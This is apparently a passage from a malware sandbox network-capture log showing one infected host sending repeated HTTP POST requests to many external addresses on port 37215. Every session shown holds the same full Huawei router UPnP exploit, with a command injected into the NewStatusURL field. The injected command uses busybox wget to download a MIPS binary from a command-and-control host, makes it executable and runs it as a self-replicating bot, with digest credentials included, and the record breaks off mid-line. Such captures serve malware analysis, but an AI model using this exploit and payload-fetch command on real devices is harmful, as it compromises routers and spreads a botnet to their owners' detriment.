6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.14	34606	156.72.242.56	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473670959 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.14	43014	156.101.142.160	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473707914 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.14	41702	197.179.50.29	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473723888 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.14	39282	197.99.83.17	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473750114 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.14	50786	41.183.212.5	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473783016 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.14	36138	156.7.6.245	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473800898 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.14	38472	156.92.251.97	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473826885 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.14	47528	41.41.17.100	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473860025 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.14	34678	41.47.45.181	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473881960 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.14	38458	197.191.179.237	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473917007 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l 